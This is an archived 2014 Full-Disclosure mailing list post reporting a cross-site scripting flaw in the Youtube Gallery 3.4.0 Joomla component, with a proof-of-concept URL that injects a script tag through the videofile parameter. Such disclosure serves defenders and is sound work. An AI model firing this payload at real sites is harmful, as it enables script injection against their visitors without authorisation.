[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[Full-disclosure] XSS Vulnerability in the Youtube Gallery 3.4.0 Component

To: "full-disclosure@xxxxxxxxxxxxxxxxx" <full-disclosure@xxxxxxxxxxxxxxxxx>
Subject: [Full-disclosure] XSS Vulnerability in the Youtube Gallery 3.4.0 Component
From: Mahmoud Ghorbanzadeh <mdgh9@xxxxxxxxx>
Date: Sat, 15 Mar 2014 03:37:41 -0700 (PDT)

Hello,

Cross-site
scripting (XSS) vulnerability in the Youtube Gallery 3.4.0 component for 
Joomla! allows remote attackers to inject arbitrary web
script or HTML via the videofile parameter to /includes/flvthumbnail.php.

POC:
http://SiteAddress/joomla/components/com_youtubegallery/includes/flvthumbnail.php?videofile=<script>alert('XSS')</script>

Attachment: Youtube Gallery XSS Vulnerability Report.docx
Description: application/vnd.openxmlformats-officedocument.wordprocessingml.document

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Follow-Ups:
- Re: [Full-disclosure] XSS Vulnerability in the Youtube Gallery 3.4.0 Component
  - From: Mahmoud Ghorbanzadeh

Prev by Date: Re: [Full-disclosure] Google vulnerabilities with PoC
Next by Date: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
Previous by thread: Re: [Full-disclosure] Full-Disclosure Digest, Vol 109, Issue 32
Next by thread: Re: [Full-disclosure] XSS Vulnerability in the Youtube Gallery 3.4.0 Component
Index(es):
- Date
- Thread